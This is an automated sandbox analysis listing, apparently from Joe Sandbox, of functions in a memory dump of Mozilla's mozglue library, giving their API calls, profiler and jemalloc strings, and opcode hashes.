Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: ee08a71d84c9ca3751d90f5be5f229d953436dc28690bbf4a6354d3cff8c08cc
Instruction ID: 25127b9a0646a2851f96e90ce7c00984f1abcf33c0c18be027e00a36e3988d8b
Opcode Fuzzy Hash: ee08a71d84c9ca3751d90f5be5f229d953436dc28690bbf4a6354d3cff8c08cc
Instruction Fuzzy Hash: 4521D3702016119FDB14DF25C888A9AB7B5AF8931CF24582EE54FC3B41DB31F948CBA9

Function 6C601640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C601699
VerSetConditionMask.NTDLL ref: 6C6016CB
VerSetConditionMask.NTDLL ref: 6C6016D7
VerSetConditionMask.NTDLL ref: 6C6016DE
VerSetConditionMask.NTDLL ref: 6C6016E5
VerSetConditionMask.NTDLL ref: 6C6016EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6016F9

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: bc7b716ca72869fd2e98c8cc6d39d1cc2dd4eb78d0c35e5c74e4eae7423c86a3
Instruction ID: 96c6189e59ad3822e92b8b00299f4e083a3173ce71709572423143d70899de1d
Opcode Fuzzy Hash: bc7b716ca72869fd2e98c8cc6d39d1cc2dd4eb78d0c35e5c74e4eae7423c86a3
Instruction Fuzzy Hash: 0D2127B07442086FEB155A658C89FFB737CDFC6704F004928F6059B1C0C6789D5487BA

Function 6C63DE60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63DE73
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6C66FEF3,?,?,?,?,?,?,00000000), ref: 6C63DE7B

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000), ref: 6C63DEB8
free.MOZGLUE(00000000), ref: 6C63DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C63DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C63DE83

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CurrentProcessThread$BufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] locked_profiler_stop
API String ID: 3136165603-3405337583
Opcode ID: 53827cb856ca243930f7e1ae356d55a3ec6c91c6e69760530e4b847d173c59b6
Instruction ID: 116fe8d4a6c997adc3d56d74ed05eeba215a6d23a82cdab1337d6afe7d69c649
Opcode Fuzzy Hash: 53827cb856ca243930f7e1ae356d55a3ec6c91c6e69760530e4b847d173c59b6
Instruction Fuzzy Hash: CC210B75B011304BEB298B26CC44B997775EF8230DF541419D90D87B81CB34981ACBEE

Function 6C63F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C63F598), ref: 6C63F621

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

GetCurrentThreadId.KERNEL32 ref: 6C63F637
AcquireSRWLockExclusive.KERNEL32(6C67F4B8,?,?,00000000,?,6C63F598), ref: 6C63F645
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8,?,?,00000000,?,6C63F598), ref: 6C63F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C63F62A

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 69fb0f28c32a1c3098edbcc23dcdd433cb50f8bdde4f2dd67dfa4e7390846be1
Instruction ID: 7bad711f6ea3cee894b8fd0d0646eaac6cbf5bd85e2d919026bb92436a242b83
Opcode Fuzzy Hash: 69fb0f28c32a1c3098edbcc23dcdd433cb50f8bdde4f2dd67dfa4e7390846be1
Instruction Fuzzy Hash: 36119875201124ABDB089F59C588DD57779FF86368F502855EA0583F02CB71A825CFBD

Function 6C602070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

LoadLibraryW.KERNEL32(combase.dll,6C601C5F), ref: 6C6020AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C6020CD
__Init_thread_footer.LIBCMT ref: 6C6020E1
FreeLibrary.KERNEL32 ref: 6C602124

Strings

CoInitializeSecurity, xrefs: 6C6020C7
combase.dll, xrefs: 6C6020A9

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: aabcd48111bfaa3d4d50c59fe64812c594492a92533bce0a7fb4c3415498a45b
Instruction ID: e2a287d16e3c3005b670adc85553042cda59e909f092384983241076fc45decd
Opcode Fuzzy Hash: aabcd48111bfaa3d4d50c59fe64812c594492a92533bce0a7fb4c3415498a45b
Instruction Fuzzy Hash: 5521AF35200219EFEF1A8F66CD88DDA3B75FF5A369F004815FA0192610D3319861CF7A

Function 6C6576C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6576F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C657705

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C657717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C65778F,00000000,00000000,00000000,00000000), ref: 6C657731
free.MOZGLUE(00000000), ref: 6C657760

Strings

}>cl, xrefs: 6C6576C4

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>cl
API String ID: 2538299546-2620422864
Opcode ID: 0d4b75c09152019fcf1fce0dca8a463cd5f01a728b2177be491fa6ceb2aee01a
Instruction ID: f9d91231da414511695c2dd863d359bea9fc20329ebd901e45e3535af0c10a75
Opcode Fuzzy Hash: 0d4b75c09152019fcf1fce0dca8a463cd5f01a728b2177be491fa6ceb2aee01a
Instruction Fuzzy Hash: 7C11B2B19043256FE710AF7A9D44BABBEE8EF46354F144829F888A7300E770985087E6

Function 6C601FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C601FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C601FFD
__Init_thread_footer.LIBCMT ref: 6C602011
FreeLibrary.KERNEL32 ref: 6C602059

Strings

CoCreateInstance, xrefs: 6C601FF7
combase.dll, xrefs: 6C601FD9

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 0132458899fd1a50d9f2fa60f10c31385427774e52d1124f96e0dcd964ef2ea0
Instruction ID: 1d19d2faa4a30bc4afde213eea24160a3d043bc4282fd0fb5721af2a4e27845e
Opcode Fuzzy Hash: 0132458899fd1a50d9f2fa60f10c31385427774e52d1124f96e0dcd964ef2ea0
Instruction Fuzzy Hash: B6117C74305214AFEF29CF16C98CEA63B79FB96369F004829F90592650C7319861CFBA

Function 6C600EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C62D9F0,00000000), ref: 6C600F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C600F3C
__Init_thread_footer.LIBCMT ref: 6C600F50
FreeLibrary.KERNEL32(?,6C62D9F0,00000000), ref: 6C600F86

Strings

combase.dll, xrefs: 6C600F18
CoInitializeEx, xrefs: 6C600F36

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 06e603c80364587e2b868d363fdd1ed57763896dbb9dcdc97d4c399cea188116
Instruction ID: bc0c0d5b476d5eb4b19ddba923946b22ccad54dab22c8e496f2680d9c0e99cbb
Opcode Fuzzy Hash: 06e603c80364587e2b868d363fdd1ed57763896dbb9dcdc97d4c399cea188116
Instruction Fuzzy Hash: 6B11A3B43052609BEF09CF66CA88E863774F79B366F004A19ED0592740D7729405CF7E

Function 6C63F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F561

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

GetCurrentThreadId.KERNEL32 ref: 6C63F577
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F585
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C63F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C63F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C63F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C63F3A8

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 12cc2f4c6d51d299124870ced7b231a1a53cc3b290e3f59f3d6fef9f3ea642e6
Instruction ID: dcec9a41844f20137414fce123485eec07cc9d9980309b9cd98432e4b122d322
Opcode Fuzzy Hash: 12cc2f4c6d51d299124870ced7b231a1a53cc3b290e3f59f3d6fef9f3ea642e6
Instruction Fuzzy Hash: B5F0B4762002209FDB056F66988CD5A77BCEFC62ADF101C15FA0983702DB3548058B7E

Function 6C600E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C600DF8), ref: 6C600E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C600EA1
__Init_thread_footer.LIBCMT ref: 6C600EB5
FreeLibrary.KERNEL32 ref: 6C600EC5

Strings

kernel32.dll, xrefs: 6C600E7D
GetProcessMitigationPolicy, xrefs: 6C600E9B

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 7298e0ddad34e256f21b373e16600edc86d4884e6aee3bec50d44bc3537563e9
Instruction ID: a47f7658a69eee80604d2532f12a0928199efa72845fac865a7ce65b76f43857
Opcode Fuzzy Hash: 7298e0ddad34e256f21b373e16600edc86d4884e6aee3bec50d44bc3537563e9
Instruction Fuzzy Hash: A301E1747043918BDB1A8F9AE994E5237B5F747355F100D15D90163B40D778A485CE2F

Function 6C63F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C63F598), ref: 6C63F621

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

GetCurrentThreadId.KERNEL32 ref: 6C63F637
AcquireSRWLockExclusive.KERNEL32(6C67F4B8,?,?,00000000,?,6C63F598), ref: 6C63F645
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8,?,?,00000000,?,6C63F598), ref: 6C63F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C63F62A

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: f0a48b9537b0a11d894ef07503cc71be76955a3bcbe841ea7032692c591e5ace
Instruction ID: 81cc1eafebda4cc43c04437a571b2f6d5cc4e7804a111a25545c16d4d856d46b
Opcode Fuzzy Hash: f0a48b9537b0a11d894ef07503cc71be76955a3bcbe841ea7032692c591e5ace
Instruction Fuzzy Hash: 9BF05475300224AFDB056F66888CD5A777DEFC729DF101855FA0983752CB7548068B7E

Function 6C6305F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C62CFAE,?,?,?,6C5F31A7), ref: 6C6305FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C62CFAE,?,?,?,6C5F31A7), ref: 6C630616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5F31A7), ref: 6C63061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5F31A7), ref: 6C630627

Strings

<jemalloc>, xrefs: 6C6305FA, 6C63060F
: (malloc) Error in VirtualFree(), xrefs: 6C63061B, 6C630625

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: cc83fc42e11f277e4cc761cd2c769c78c4e550bedbda7c78343416f44c725965
Instruction ID: ce4d127fc63f0d0ee67076c4bbc574dd447b1835f6827d1003e5c3809a28a314
Opcode Fuzzy Hash: cc83fc42e11f277e4cc761cd2c769c78c4e550bedbda7c78343416f44c725965
Instruction Fuzzy Hash: 82E08CE2A0116037FA142256AC86DBB761CDBC6534F080039FE0E93701E94AAD1A51FB

Function 6C6005F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 824cc510f6bb5b58c92e631501da7dca3e67afc56cfae0b131b2407e6c5b0eb4
Instruction ID: e97ad23efd7514bf7b4877377508ee009f3e38a269106c964c7f6ec111e0e36c
Opcode Fuzzy Hash: 824cc510f6bb5b58c92e631501da7dca3e67afc56cfae0b131b2407e6c5b0eb4
Instruction Fuzzy Hash: B5A15A70A00655CFDB28CF29C694B99FBF1BF89304F44866ED44AA7B00E735A945CFA4

Function 6C6514A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6514C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6514E2
GetCurrentThreadId.KERNEL32 ref: 6C651546
InitializeConditionVariable.KERNEL32(?), ref: 6C6515BA
free.MOZGLUE(?), ref: 6C6516B4

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

